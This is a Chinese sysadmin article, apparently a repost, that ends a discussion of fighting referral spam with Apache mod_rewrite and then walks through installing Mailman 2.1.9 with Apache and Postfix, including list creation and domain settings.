对原因的分析:虽然 Rewrite 并没有从网络协议的低层阻止报文,报文仍然上到了 Apache 的应用中,但它仍然能够有效的降低负载和网络带宽的损耗,因为 Spammer Reference 页面是抓取的正常的页面,这些页面通常包含了大量的信息和图片,同时 httpd 必须为这些隐藏的攻击者保持这些连接,所以系统资源的消耗是相当大的。

而 Rewrite 之后,这个连接可以被丢弃,也不用传递正常的包含大量信息的页面,也就 保护了系统资源。当然,日志中还是会产生大量的记录,消耗你的硬盘,应用层也还是 必须消耗一部分 CPU、内存和带宽来处理这些请求,但至少不那么容易垮掉了。

虽然可以将页面重新跳转回 http://www/xp1us.com.cn,但这并不一定是一个明智 的做法,因为对方可能再做一个页面又跳转回来,这样双方就陷入了一种僵持状态,完全 变成了拼资源了,而资源上,你不一定比对方多。也许有的问题,就是应该通过人与人 之间的交流来解决,至少你用 dig 可以查到 IP,用 whois 可以查到那个 IP 属于哪里, 如果对方不是被别人植入了恶意代码,那么至少你还有一个法律的解决途径(在这里也许)。

不过也许这世界就是这样的:

Which brings me to the second thing. THIS IS NOT A HOBBY. If you want to be an anti-spam advocate, if you want to write software or maintain a list or provide a service that identifies spam or blocks spam or targets spam in any way, you will be attacked. You will be attacked by professionals who have more money than you, more resources than you, better programmers than you, and no scruples at all. They want to make money, this is how they have decided to make money, they really can make a lot of money, and you're getting in their way.

This is old hat to anyone who's been involved in anti-spam efforts in other domains (Usenet and email spring to mind), but just like everything else, the weblogging community seems intent on (a) thinking they're special and unique and nobody has ever had their problems before, and proceeding to (b) ignore all the work that has come before and reinventing the wheel.

本人对 JavaScript/VBScript 和 mod_rewrite 都不太熟悉。老徐从日志里发现了问题, 并分析了那几个脚本,flaboy 提出了利用 mod_rewrite 来解决问题的办法,xuni 编写 了上面的那两个 Rewrite 规则。

另外,可以参考几个页面: Refer spam: http://www.kuro5hin.org/story/2005/2/14/02558/3376http://www.coldforged.org/archives/2005/01/25/killing-referral-spam/

上层建筑

邮件列表

我需要在公司建立一个邮件列表,或者说我需要在自己的企业架构中建立邮件列表,作为团队开发以及用户讨论组等使用。当然至少到目前来看,没有考虑过它会成为基础设施的一部分,我想它应该还是属于上层建筑的。

why not google group?

因为企业的邮箱和邮件列表,特别是内部事务如开发等不能这样做,即使设置了限制,但问题是一方面无法与现有的内部帐号整合在一起,另一方面,如果由于某种原因导致 google group 不能访问(比如年初的地震或者 GFW),则公司的事务将收到影响!所以最终我们需要自己的 mailing list。目前最流行的就是 mailman 了,用 python + C 编写的!

mailman mailing list 有两种接口:web interface && mail interface。及通过 web 页面的表框操作或通过 email 发送诸如 subscribe, unsubscribe 等命令。

安装:

  sh$ cat .config  pkgname = "mailman";  version = "2.1.9";  user = "mailman";  groups = "web";  group = "mailman";  archive = "mailman-2.1.9.tgz";  command = "tar xfz mailman-2.1.9.tgz";  command = "cd mailman-2.1.9";  command = "./configure --without-permcheck --with-cgi-gid=httpd";  command = "make";  command = "make install";  command = "cd ..";  command = "rm -rf mailman-2.1.9";  time = "20070313 14:01:47 Tue";

使用 rpm 安装则 cgi-gid 比较死,只能使用 apache 用户,只好用源代码编译了。

然后编辑 httpd.conf:

            ServerName test.shopex.cn          DocumentRoot "/var/www/html/test"          ScriptAlias /mailman/ /usr/local/mailman/cgi-bin/          Alias /pipermail/ /usr/local/mailman/archives/public          Alias /icons/ /usr/local/mailman/icons/          # AddHandler cgi-script .cgi .py                            Options Indexes                  Order allow,deny                  Allow from all                                      Options Indexes                  Order allow,deny                  Allow from all            

然后访问 http://test.shopex.cn/mailman/listinfo(注意修改 hosts 文件),这里 listinfo 实际上是 /usr/local/mailman/cgi-bin/listinfo,是一个二进制的可执行程序!这时可以看到一个页面,并且报告没有创建任何 mailing list。

邮件列表的基本原理就是利用了邮件服务器的 alias 功能。所以使用手工的方法,也可以建立简单的邮件列表,但 Mailman(以前比较流行 Majordomo)可以自动完成大量工作!

将 mailman 和 postfix 集成

  sh# vi $prefix/Mailman/mm_cfg.py  MTA = "Postfix"  sh# cd /usr/local/mailman  sh# bin/genaliases  sh# chown mailman:mailman data/aliases*  sh# chmod g+w data/aliases*    sh# vi /etc/postfix/main.cf  myhostname = mail.shopex.cn  mydomain = shopex.cn  myorigin = $mydomain  inet_interfaces = all  mydestination = $myhostname, localhost.$mydomain, localhost,      mail.$mydomain, www.$mydomain, ftp.$mydomain  mynetworks = 192.168.0.0/24, 127.0.0.0/8  alias_maps = hash:/etc/aliases, hash:/usr/local/mailman/data/aliases  alias_database = hash:/etc/aliases, hash:/usr/local/mailman/data/aliases

记得要运行 newaliases,并且是 postfix 的 newaliases,RHEL4 可以用:

  sh# alternatives --set mta /usr/sbin/sendmail.postfix

来指定。

然后要创建实际的邮件列表。邮件列表既可以使用 command line 的操作命令,也可以从 web 页面上运行 cgi 脚本来实现。下面分别介绍。

  sh# /usr/local/mailman/bin/newlist

输入邮件列表的名字,会自动生成如下的邮件列表别名文件的内容。

  sh# cat /usr/local/mailman/data/aliases  # This file is generated by Mailman, and is kept in sync with the  # binary hash file aliases.db.  YOU SHOULD NOT MANUALLY EDIT THIS FILE  # unless you know what you're doing, and can keep the two files properly  # in sync.  If you screw it up, you're on your own.    # The ultimate loop stopper address  mailman-loop: /usr/local/mailman/data/owner-bounces.mbox    # STANZA START: dev  # CREATED: Tue Mar 13 18:40:13 2007  dev:             "|/usr/local/mailman/mail/mailman post dev"  dev-admin:       "|/usr/local/mailman/mail/mailman admin dev"  dev-bounces:     "|/usr/local/mailman/mail/mailman bounces dev"  dev-confirm:     "|/usr/local/mailman/mail/mailman confirm dev"  dev-join:        "|/usr/local/mailman/mail/mailman join dev"  dev-leave:       "|/usr/local/mailman/mail/mailman leave dev"  dev-owner:       "|/usr/local/mailman/mail/mailman owner dev"  dev-request:     "|/usr/local/mailman/mail/mailman request dev"  dev-subscribe:   "|/usr/local/mailman/mail/mailman subscribe dev"  dev-unsubscribe: "|/usr/local/mailman/mail/mailman unsubscribe dev"  # STANZA END: dev

实际上首先要创建 site-wild mailing list:

  site-wild mailing list:  sh# bin/newlist mailman  sh# bin/config_list -i data/sitelist.cfg mailman

通过如下地址访问邮件列表信息: http://test.shopex.cn/mailman/listinfo/dev 看看如果不存在的列表的情况:http://test.shopex.cn/mailman/listinfo/users "No such list users"

下面设置密码,除了 list owner 之外,有两个特殊用户,即 Administrator 和 list creator,前者相当于 root,后者一般专门用来从 web page 创建 list 的时候使用。这两者分别用如下命令创建密码:

  sh# bin/mmsitepass  sh# bin/mmsitepass -c

为了能够从页面访问,必须启动 mailman 服务,实际上会启动一个名为 qrunner 的进程。对 RHEL4,使用:

  sh# cp scripts/mailman /etc/init.d/mailman  sh# chkconfig --add mailman  sh# chkconfig mailman on  sh# chkconfig sendmail off  sh# chkconfig postfix on

那么现在可以打开页面 http://test.shopex.cn/mailman/create 来建立邮件列表。在最下面使用 list creator 密码提交。

hostname settings 会产生影响。例如 http://test.shopex.cn/mailman/listinfo,有显示 "If you are having trouble using the lists, please contact mailman@test1.shopex.cn."(这里我更改了主机名),显然,这个值根据主机名而改变了。但是这不是我希望的值。

这里先不考虑虚拟主机的情况,那么需要修改 mm_cfg.py,增加 DEFAULT_EMAIL_HOST 和 DEFAULT_URL_HOST。这两个参数在安装时会写入到 /usr/local/mailman/Mailman/Defaults.py 中,但不要直接编辑这个文件,编辑 /usr/local/mailman/Mailman/mm_cfg.py 就好了。

比如在 Defaults.py 中的默认设定为:

  DEFAULT_EMAIL_HOST = 'docs.shopex.cn'  DEFAULT_URL_HOST = 'docs.shopex.cn'

这会有问题,因为我在 apache 上发布的虚拟主机名是 test.shopex.cn,并且我也不希望用户把邮件发送到users@docs.shopex.cn 或 users@test.shopex.cn 这样的地址,而是希望是 users@shopex.cn 这样的地址(即 mailing list 的地址将是 listname@DEFAULT_EMAIL_HOST)。那么我编辑 mm_cfg.py

  DEFAULT_EMAIL_HOST = 'shopex.cn'  DEFAULT_URL_HOST = 'test.shopex.cn'  add_virtualhost(DEFAULT_URL_HOST, DEFAULT_EMAIL_HOST)

这里 DEFAULT_URL_HOST 不能写成"shopex.cn",否则你在页面上访问不行了,因为链接到错误的域名上去了。通常 URL_HOST 和 EMAIL_HOST 会不同,如上。因为 EMAIL_HOST 通常是你的整个域的,而 postfix 可以为整个域接收和发送邮件,但 URL_HOST 则是具体的主机的,如果设置成 shopex.cn,则在 http://test.shopex.cn/mailman/listinfo/dev 进行 subscribe 的时候,会连接到 http://shopex.cn/mailman/subscribe/dev,但这个可能是不存在的,或根本不是统一台主机(除非确实是同一台主机并且对 shopex.cn 域做了同样的 A 记录)。

注意后面必须使用 add_vertualhost function call。

对于已经存在的域,比如前面创建了 dev,但并没有设定其 mailing list 为 dev@shopex.cn,而仍然是 dev@docs.shopex.cn或 dev@test.shopex.cn,那么

You will want to run the bin/fix_url.py to change the domain of any existing lists.

实际上是这样做的

  sh# cd /usr/local/mailman  sh# bin/withlist -l -r fix_url dev -u shopex.cn

进入一个列表来管理: http://test.shopex.cn/mailman/amdin/users 进入可以用 site-password,也可以用 create 时发送的那个由 mailman 生成的密码,取决于你的管理策略。每个列表成员也有自己的密码,也是在订阅的时候发送的那个,可以用它登入管理自己的设置。

subscribe 可以访问 http://test1.shopex.cn/mailman/listinfo/dev 这个 URL。收到邮件后从页面 confirm 即可。

其他一些命令:

  bin/list_lists  bin/rm_lists  bin/list_owners -w  bin/list_members dev
原文地址:http://mee66.com/old/sysadm_zh_CN.html#toc19

(编辑: hit_hlj_sgy)

网友评论